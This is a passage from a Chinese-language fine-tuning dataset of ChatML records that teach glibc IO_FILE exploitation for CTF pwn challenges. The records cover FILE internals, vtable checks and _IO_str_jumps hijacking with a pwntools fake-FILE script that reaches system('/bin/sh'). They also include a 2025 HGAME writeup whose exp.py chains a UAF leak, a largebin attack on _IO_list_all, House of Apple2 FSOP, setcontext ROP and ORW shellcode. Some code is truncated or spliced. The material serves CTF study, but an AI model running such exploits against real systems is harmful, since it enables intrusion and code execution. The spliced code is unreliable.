(fp->_wide_data->_IO_save_base);\n      fp->_flags &= ~_IO_IN_BACKUP;\n    }\n      _IO_wdoallocbuf (fp);  // 需要走到这里\n    }\n    //......\n}\n```\n\n需要设置`fp->_flags & _IO_NO_READS == 0`，设置`fp->_wide_data->_IO_read_ptr >= fp->_wide_data->_IO_read_end`，设置`fp->_IO_read_ptr < fp->_IO_read_end`不进入调用，设置`fp->_wide_data->_IO_buf_base == NULL`和`fp->_wide_data->_IO_save_base == NULL`。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-dc8920ab6064c5de", "original_line": 267, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-dc8920ab6064c5de", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-971216a228aa42915dbe", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「find _IO_str_jumps」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# find _IO_str_jumps\nIO_file_jumps = libc.symbols['_IO_file_jumps']\nIO_str_underflow = libc.symbols['_IO_str_underflow'] - libc.address\nIO_str_underflow_ptr = list(libc.search(p64(IO_str_underflow)))\n    IO_str_jumps = IO_str_underflow_ptr[bisect_left(IO_str_underflow_ptr, IO_file_jumps + 0x20)] - 0x20\n\n    # construct the fake file structure\n    fake_file = b\"\"\n    fake_file += p64(0xFBAD2886)  # _flags, an magic word, we need to (0xFBAD2887 & (~0x1)) to clear the _IO_USER_BUF flag to pass the check in _IO_str_finish\n    fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 131) * 6  # from _IO_read_ptr to _IO_write_end\n    fake_file += p64(libc.search(\"/bin/sh\").next())  # _IO_buf_base -> \"/bin/sh\"\n    fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 132)  # _IO_buf_end should usually be (_IO_buf_base + 1)\n    fake_file += p64(0) * 4  # from _IO_save_base to _markers\nfake_file += p64(libc.sym['_IO_2_1_stdin_'])  # the FILE chain ptr\nfake_file += p32(1)  # _fileno for stdout is 1\n    fake_file += p32(0)  # _flags2, usually 0\n    fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1\n    fake_file += p16(0)  # _cur_column\nfake_file += b\"\\x00\"  # _vtable_offset\nfake_file += b\"\\n\"  # _shortbuf[1]\nfake_file += p32(0)  # padding\nfake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1e20)  # _IO_stdfile_1_lock\n    fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1\n    fake_file += p64(0)  # _codecvt, usually 0\n    fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0xe20)  # _IO_wide_data_1\n    fake_file += p64(0) * 3  # from _freeres_list to __pad5\n    fake_file += p32(0xFFFFFFFF)  # _mode, -1\n    fake_file += b\"\\x00\" * 19  # _unused2\nfake_file = fake_file.ljust(0xD8, b'\\x00')  # adjust to vtable\nfake_file += p64(IO_str_jumps - 0x28) + p64(0) + p64(libc.sym['system'])  # set the vtable to _IO_str_jumps - 0x28 and set the _IO_2_1_stdout_ + 0xe8 to one_gadget\n```\n\nlibc-2.28 版本起 _IO_str_finish 不再调用 _free_buffer 而是直接是直接调用 free ，因此该方法失效。\n\n```plain\nvoid\n_IO_str_finish (FILE *fp, int dummy)\n{\n  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))\n    free (fp->_IO_buf_base);\n  fp->_IO_buf_base = NULL;\n\n  _IO_default_finish (fp, 0);\n}\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::validation::pwn101_distilled_v1::validation::pwn101-doc-c641a08f6f72f084", "original_line": 24, "original_split": "validation", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/validation.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-c641a08f6f72f084", "source_split": "validation", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9b36771d83364f9116f8", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「fclose」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### fclose\nfclose 是标准 IO 库中用于关闭已打开文件的函数，其作用与 fopen 相反。\n\nint fclose(FILE *stream)\n\n功能：关闭一个文件流，使用 fclose 就可以把缓冲区内最后剩余的数据输出到磁盘文件中，并释放文件指针和有关的缓冲区\n\nfclose在libio/iofclose.c文件中的函数名是_IO_new_fclose\n\n\"image-20251212232559515.png\"\n\n\nfclose 首先会调用`_IO_unlink_it` 将指定的 FILE 从_chain 链表中脱链\n\n之后会调用_IO_file_close_it 函数，_IO_file_close_it 会调用系统接口 close 关闭文件\n\n最后调用 vtable 中的_IO_FINISH，其对应的是_IO_file_finish 函数，其中会调用 free 函数释放之前分配的 FILE 结构", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-e1b9cd54073c9326", "original_line": 268, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-e1b9cd54073c9326", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9bb0c2ab1efd18f17f6c", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「参考」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 参考\n\n>[io file基础 - blog at gets](http://www.getspwn.xyz/?p=61)\n[2018 HITCON PWN baby_tcache](https://grxer.github.io/2023/04/19/HITCON-2018-PWN-baby-tcache/)\n[[原创] House of apple 一种新的glibc中IO攻击方法 (1)-Pwn-看雪-安全社区|安全招聘|kanxue.com](https://bbs.kanxue.com/thread-273418.htm#msg_header_h2_0)[[原创] CTF 中 glibc堆利用 及 IO_FILE 总结-Pwn-看雪](https://bbs.kanxue.com/thread-272098.htm)\n[[原创]浅析_IO_FILE相关利用、FSOP与House_of_Orange技术-二进制漏洞-看雪论坛-安全社区|非营利性质技术交流社区](https://bbs.kanxue.com/thread-284331.htm)\n[IO_FILE 与高版本 glibc 中的漏洞利用技巧 - 有价值炮灰](https://evilpan.com/2022/07/30/glibc-exp-tricks/#%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84)\n[[原创]Pwn堆利用学习 —— FSOP、House of Orange —— ciscn_2019_n_7、House_of_Orange-Pwn-看雪-安全社区|安全招聘|kanxue.com](https://bbs.kanxue.com/thread-274625.htm#msg_header_h1_3)\n[[原创\\]House of cat新型glibc中IO利用手法解析 && 第六届强网杯House of cat详解-Pwn-看雪安全社区｜专业技术交流与安全研究论坛](https://bbs.kanxue.com/thread-273895.htm)", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-233b781f63b2492b", "original_line": 244, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-233b781f63b2492b", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a218e817e03b9f27cbf7", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "根据 `IO-FILE/house of apple2/2025hgame where is the vulnerability` 目录下的 writeup 和 exploit 示例，蒸馏一条训练样本：总结题目、漏洞点、利用链、关键代码和验证状态。", "role": "user"}, {"content": "## 题目路径\n`IO-FILE/house of apple2/2025hgame where is the vulnerability`\n\n## Writeup 蒸馏\n# 2025 HGAME - where is the vulnerability WP\n\n## 1. 基本信息\n\n题目文件：\n\n```text\nvuln\nlibhgame.so\nlibc.so.6\nld-linux-x86-64.so.2\n```\n\n保护信息（pwntools `ELF.checksec()`）：\n\n```text\n./vuln\nRELRO:      Full RELRO\nStack:      No canary found\nNX:         NX enabled\nPIE:        PIE enabled\nSHSTK:      Enabled\nIBT:        Enabled\nStripped:   No\n\n./libhgame.so\nRELRO:      Partial RELRO\nStack:      Canary found\nNX:         NX enabled\nPIE:        PIE enabled\nSHSTK:      Enabled\nIBT:        Enabled\nStripped:   No\n```\n\n`libc.so.6` 为 Ubuntu GLIBC 2.39：\n\n```text\nGNU C Library (Ubuntu GLIBC 2.39-0ubuntu8.3) stable release version 2.39.\n```\n\n`init()` 中通过 `prctl(PR_SET_NO_NEW_PRIVS)` + `prctl(PR_SET_SECCOMP)` 安装 seccomp，过滤掉：\n\n```text\nexecve   = 59  / 0x3b\nexecveat = 322 / 0x142\n```\n\n因此不能直接 `system(\"/bin/sh\")`，最终使用 ORW shellcode 读取 `/flag`。\n\n## 2. 程序逻辑\n\n`vuln` 的 `main()` 只负责菜单分发，核心功能在 `libhgame.so`：\n\n```text\n1. Add note\n2. Delete note\n3. Edit note\n4. Show note\n5. Exit\n```\n\n全局数组：\n\n```text\nnotes[16]\nnote_size[16]\n```\n\n`add_note()` 限制 index 为 `0~15`，size 必须满足：\n\n```c\n0x4ff < size <= 0x900\n```\n\n所以可申请 large chunk。\n\n## 3. 漏洞点\n\n漏洞在 `delete_note()`：\n\n```asm\nfree(notes[index]);\n```\n\n释放后没有：\n\n```c\nnotes[index] = NULL;\nnote_size[index] = 0;\n```\n\n而 `edit_note()` / `show_note()` 仍然只判断 `notes[index] != NULL`，导致释放后的 chunk 可以继续被：\n\n```text\nshow  -> leak freed chunk metadata\nedit  -> overwrite freed chunk metadata\n```\n\n这是典型 UAF。由于 size 仍然保留，还能对 freed large chunk 写入原申请大小的数据。\n\n## 4. 利用思路\n\n整体链条：\n\n```text\nUAF leak libc\n-> move chunk0 into largebin, leak heap\n-> largebin attack overwrite _IO_list_all\n-> fake _IO_FILE / _IO_wide_data / fake wide vtable\n-> _IO_flush_all -> _IO_wfile_overflow -> _IO_wdoallocbuf -> setcontext(fp)\n-> ROP mprotect(heap, RWX)\n-> ORW shellcode read /flag\n```\n\n## 5. 泄露 libc\n\n先布置 4 个 large chunk，并在中间放 guard 防止合并：\n\n```python\nadd(0, 0x528)\nadd(1, 0x600)\nadd(2, 0x518)\nadd(3, 0x600)\n```\n\n释放 `chunk0` 后仍可 `show(0)`，泄露 unsorted bin 指针：\n\n```python\ndelete(0)\nshow(0)\nlibc_base = leak_u64() - 0x203b20\n```\n\n其中 `0x203b20` 是当前 libc 里 unsorted bin 泄露使用的偏移。\n\n## 6. 泄露 heap\n\n申请一个更大的 chunk，让 `chunk0` 从 unsorted bin 整理进入 largebin：\n\n```python\nadd(15, 0x900)\n```\n\n随后 UAF 改写 `chunk0` 前 0x10 字节，再 show 出 `fd_nextsize` / `bk_nextsize` 附近的堆指针：\n\n```python\nedit(0, b\"a\" * 0x10)\nshow(0)\nrecvuntil(b\"a\" * 0x10)\nheap_base = leak_u64() - 0x290\n```\n\n`0x290` 对应本题布局中 `chunk0` header 到 heap base 的偏移。\n\n## 7. Largebin Attack\n\n目标是把 `_IO_list_all` 改成 `chunk2` 的 header 地址，后面把 `chunk2` 伪造成 `_IO_FILE_plus`。\n\n`chunk0` 的真实大小为 `0x530`，对应 largebin index 为 68，因此 bin head 可由 unsorted bin 泄露偏移推导：\n\n```python\nLARGEBIN_0X530_BIN_HEAD_OFF = 0x203b20 + (68 - 1) * 0x10\nbin_head_0x530 = libc_base + LARGEBIN_0X530_BIN_HEAD_OFF\n```\n\n伪造 `chunk0` 的 largebin metadata：\n\n```python\nio_list_all = libc_base + libc.sym[\"_IO_list_all\"]\nchunk0_hdr = heap_base + 0x290\n\nedit(0, flat(\n    bin_head_0x530,\n    bin_head_0x530,\n    chunk0_hdr,\n    io_list_all - 0x20,\n))\n```\n\n然后释放较小的 `chunk2(0x520)`，再申请 `0x900` 触发 largebin 插入：\n\n```python\ndelete(2)\nadd(14, 0x900)\n```\n\n插入过程中会完成近似效果：\n\n```text\n*(_IO_list_all) = chunk2_header\n```\n\n## 8. FSOP / House of Apple2\n\n由于 largebin attack 写入 `_IO_list_all` 的是 `chunk2` header，而 `edit(2, payload)` 从 `chunk2 user = header + 0x10` 开始写，所以构造 fake FILE 时要注意偏移：\n\n```python\ndef off(file_off):\n    return file_off - 0x10\n```\n\n关键 FILE 字段：\n\n```python\noff(0x28): p64(1)                 # _IO_write_ptr > _IO_write_base，触发 flush\noff(0x88): p64(fake_lock)         # _lock\noff(0xA0): p64(wide_data)         # _wide_data\noff(0xA8): p64(add_rsp_0x38_ret)  # setcontext 后的跳转目标\noff(0xD8): p64(_IO_wfile_jumps)   # vtable\noff(0xE0): p64(fenv)              # setcontext fldenv 用\noff(0x1C0): p64(0x1F80)           # setcontext ldmxcsr 用\n```\n\n`_IO_flush_all` 中满足：\n\n```text\nfp->_mode <= 0\nfp->_IO_write_base < fp->_IO_write_ptr\n```\n\n于是调用：\n\n```text\nfp->vtable->__overflow(fp, EOF)\n```\n\n设置 `vtable = _IO_wfile_jumps` 后进入 `_IO_wfile_overflow()`，再进入 `_IO_wdoallocbuf()`，最终调用：\n\n```text\nfp->_wide_data->_wide_vtable[0x68](fp)\n```\n\n因此伪造：\n\n```python\noff(0x1E0): p64(fake_vtable)      # wide_data + 0xe0 = fake wide vtable\noff(0x268): p64(setcontext)       # fake_vtable + 0x68 = setcontext\n```\n\n这里调用的是完整 `setcontext(fp)`，不是 `setcontext+61`。完整入口会 `push rdi`，系统调用返回后 `pop rdx`，从而让 `rdx = fp`，再从 `fp` 中恢复上下文。\n\n## 9. ROP 与 ORW\n\n`setcontext(fp)` 使用：\n\n```text\nrsp = [fp + 0xa0]  # 即 wide_data\nrip = [fp + 0xa8]  # 设置为 add rsp, 0x38; ret\n```\n\n因为 `wide_data+0x18`、`wide_data+0x30` 等字段需要为 0 来满足 `_IO_wdoallocbuf()`，所以先跳到：\n\n## Exploit 关键代码\n### IO-FILE/house of apple2/2025hgame where is the vulnerability/exp.py\n```python\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nExploit for 2025 HGAME - where is the vulnerability\n\nVulnerability: UAF in libhgame.so note manager. delete_note() frees a note but\nkeeps notes[index] and note_size[index], so edit/show can still access freed\nlarge chunks.  The exploit uses:\n  1. UAF show on an unsorted-bin chunk to leak libc;\n  2. UAF show after large-bin placement to leak heap;\n  3. large-bin attack to overwrite _IO_list_all;\n  4. fake _IO_FILE + _IO_wfile_jumps + full setcontext(fp) to pivot to ROP;\n  5. mprotect(heap, ..., RWX), then ORW shellcode for /flag.\n\nUsage:\n  python3 exp.py                 # local, using bundled ld/libc/libhgame\n  python3 exp.py REMOTE          # remote default HOST/PORT below\n  python3 exp.py HOST=ip PORT=port REMOTE\n  python3 exp.py     # positional remote shortcut\n  python3 exp.py SELFTEST        # only validate payload/gadget construction\n  python3 exp.py FLAG=./flag     # local ORW test path; default is /flag\n  python3 exp.py LOG=debug\n\"\"\"\n\nfrom __future__ import annotations\n\nimport os\nimport sys\nfrom typing import Optional\n\nfrom pwn import *\n\n\nBIN_PATH = \"./vuln\"\nLIBC_PATH = \"./libc.so.6\"\nLD_PATH = \"./ld-linux-x86-64.so.2\"\nLIB_DIR = \".\"\n\nDEFAULT_HOST = \"TARGET_IP\"\nDEFAULT_PORT = 32230\n\ncontext.binary = elf = ELF(BIN_PATH, checksec=False)\nlibc = ELF(LIBC_PATH, checksec=False)\ncontext.arch = \"amd64\"\ncontext.os = \"linux\"\ncontext.log_level = args.LOG or \"info\"\n\n# Offsets tied to the bundled libc.so.6.\nUNSORTED_BIN_LEAK_OFF = 0x203B20\nHEAP_LEAK_OFF = 0x290\nFAKE_FILE_OFF = 0xDD0\n# main_arena offsets for the bundled Ubuntu GLIBC 2.39.\nMAIN_ARENA_UNSORTED_OFF = UNSORTED_BIN_LEAK_OFF\nLARGEBIN_0X530_BIN_HEAD_OFF = MAIN_ARENA_UNSORTED_OFF + (68 - 1) * 0x10\nCHUNK0_HDR_OFF = HEAP_LEAK_OFF\n\nRET_OFF = 0x000000000002882F\nPOP_RDI_OFF = 0x000000000010F75B\nPOP_RSI_OFF = 0x0000000000110A4D\nMOV_RDX_RBX_POP_RBX_R12_RBP_OFF = 0x00000000000B0123\n\n# ... 中间内容省略，保留关键利用片段 ...\n\ndef delete(index: int):\ndef edit(index: int, content: bytes):\ndef show(index: int):\ndef build_orw_shellcode(heap_base: int, flag_path: bytes = b\"/flag\") -> bytes:\n        raise ValueError(\"inline shellcode path must be <= 8 bytes\")\n    # _IO_list_all is overwritten with the malloc chunk header address of note 2.\n    # edit(2, ...) writes at chunk_header + 0x10, so every FILE-relative offset\n    shellcode_addr = fake_file + 0x400\n    mprotect = libc_base + libc.sym[\"mprotect\"]\n    io_wfile_jumps = libc_base + libc.sym[\"_IO_wfile_jumps\"]\n    shellcode = build_orw_shellcode(heap_base, flag_path)\n    # _IO_flush_all -> _IO_wfile_overflow(fp, EOF)\n    #   -> _IO_wdoallocbuf(fp)\n        p64(mprotect),\n        p64(shellcode_addr),\n            # FILE fields.  _IO_write_base(0x20)=0 and _IO_write_ptr(0x28)=1\n            # satisfy the flush condition in _IO_flush_all.\n            # the wide_data fields that must remain zero for _IO_wdoallocbuf.\n            off(0x400): shellcode,\n        \"mprotect\": test_libc + libc.sym[\"mprotect\"],\n        \"_IO_list_all\": libc.sym[\"_IO_list_all\"],\n        \"_IO_wfile_jumps\": libc.sym[\"_IO_wfile_jumps\"],\n    # 1) Shape heap and leak libc from freed large chunk 0 in unsorted bin.\n    delete(0)\n    show(0)\n    # Move chunk 0 into large bin, then leak a heap pointer left in the freed chunk.\n    edit(0, b\"a\" * 0x10)\n    show(0)\n    # chunk0, malloc performs `chunk0->bk_nextsize->fd_nextsize = victim`,\n    # i.e. `*(_IO_list_all) = victim`.\n    io_list_all = libc_base + libc.sym[\"_IO_list_all\"]\n    edit(\n    delete(2)\n    # 3) Build fake _IO_FILE in the still-dangling chunk 2, then exit to trigger\n    # _IO_flush_all_lockp() over the overwritten _IO_list_all chain.\n    edit(2, fake_payload)\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 40, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-pair-689606002e8f1add", "original_line": 275, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/house of apple2/2025hgame where is the vulnerability", "source_record_id": "pwn101-pair-689606002e8f1add", "source_split": "train", "split": "train", "split_group_key": "f672b876dbe11e058a496c59"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/house of apple2/2025hgame where is the vulnerability", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-afeb3afed09276680203", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Glibc2.24以后的」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## Glibc2.24以后的\n在 2.24 版本的 glibc 中，全新加入了针对`IO_FILE_plus`的 vtable 劫持的检测措施，glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。首先会验证 vtable 是否位于`_IO_vtable`段中，如果满足条件就正常执行，否则会调用`_IO_vtable_check`做进一般检查。\n\n+ glibc2.23\n\n```c", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-0af376c9f99bb4e9", "original_line": 241, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-0af376c9f99bb4e9", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-b68c36fc3c7148a876cf", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「劫持 vtable 到 _IO_str_jumps」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 劫持 vtable 到 _IO_str_jumps\nlibc2.24 在 `IO_validate_vtable` 函数中对 `*vtable` 指针进行校验，`vtable` 必须要满足 在 `__stop___IO_vtables` 和 `__start___libc_IO_vtables` 之间，而我们伪造的 `vtable` 通常不满足这个条件。但是 `_IO_str_jumps` 与 `__IO_wstr_jumps` 就位于 `__stop___libc_IO_vtables` 和 `__start___libc_IO_vtables` 之间，所以我们是可以利用他们来通过 `IO_validate_vtable` 的检测的,只需要将 `*vtable` 填成 `_IO_str_jumps` 或 `__IO_wstr_jumps` 地址即可。`_IO_str_jumps` 同样是 `_IO_jump_t` 类型，但是与与原来的 `vtable` 指向的 `__GI__IO_file_jumps` 相比指向的函数不同。\n\n[图片: Pasted image 20250819205612.png]\n\n`_IO_str_jumps` 其中的 `_IO_str_finish` 直到 libc-2.27 版本都是下面这种实现手段。也就是说，如果修改 `((_IO_strfile *) fp)->_s._free_buffer` 为 `system` 地址，然后修改 `fp->_IO_buf_base` 为 `/bin/sh` 字符串地址，然后触发程序执行 `_IO_str_finish` 函数就可以得到 shell 。\n\n```plain\nvoid\n_IO_str_finish (_IO_FILE *fp, int dummy)\n{\n  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))\n    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);\n  fp->_IO_buf_base = NULL;\n  _IO_default_finish (fp, 0);\n}\n```\n\n要想触发程序执行 `_IO_str_finish` 函数就需要将 `vtable` 指向 `_IO_str_jumps` 往上的某个偏移，使得下一个要调用的 `vtable` 中的函数（最好是第一个被调用的函数，因为 `vtable` 已经被破坏）的位置恰好是 `_IO_str_finish` 。由于 edit 函数在 `read` 改完 `_IO_2_1_stdout_` 后紧接着调用 `printf`，而 `printf` 紧接着会调用 `_IO_new_file_xsputn` ，因此需要将 `vtable` 指向 `&_IO_str_jumps - 0x28` 的位置上。\n\n[图片: Pasted image 20250819205630.png]\n\n\nIO_FILE 的伪造对应与代码中可以有如下定义：\n\n```c", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-bfbb96cd4d2a8d12", "original_line": 264, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-bfbb96cd4d2a8d12", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-bb421ee9a32856fcd2fb", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「FILE结构」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### FILE结构\nFILE 在 Linux 的系统标准库中用于描述文件的结构，称为文件流。FILE 结构在程序执行 fopen 等函数时会进行创建，并分配在堆中。\n\n```c\nstruct _IO_FILE {\n  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */\n#define _IO_file_flags _flags\n\n  /* The following pointers correspond to the C++ streambuf protocol. */\n  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */\n  char* _IO_read_ptr;   /* Current read pointer */\n  char* _IO_read_end;   /* End of get area. */\n  char* _IO_read_base;  /* Start of putback+get area. */\n  char* _IO_write_base; /* Start of put area. */\n  char* _IO_write_ptr;  /* Current put pointer. */\n  char* _IO_write_end;  /* End of put area. */\n  char* _IO_buf_base;   /* Start of reserve area. */\n  char* _IO_buf_end;    /* End of reserve area. */\n  /* The following fields are used to support backing up and undo. */\n  char *_IO_save_base; /* Pointer to start of non-current get area. */\n  char *_IO_backup_base;  /* Pointer to first valid character of backup area */\n  char *_IO_save_end; /* Pointer to end of non-current get area. */\n\n  struct _IO_marker *_markers;\n\n  struct _IO_FILE *_chain;\n\n  int _fileno;\n#if 0\n  int _blksize;\n#else\n  int _flags2;\n#endif\n  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */\n\n#define __HAVE_COLUMN /* temporary */\n  /* 1+column number of pbase(); 0 is unknown. */\n  unsigned short _cur_column;\n  signed char _vtable_offset;\n  char _shortbuf[1];\n\n  /*  char* _save_gptr;  char* _save_egptr; */\n\n  _IO_lock_t *_lock;\n#ifdef 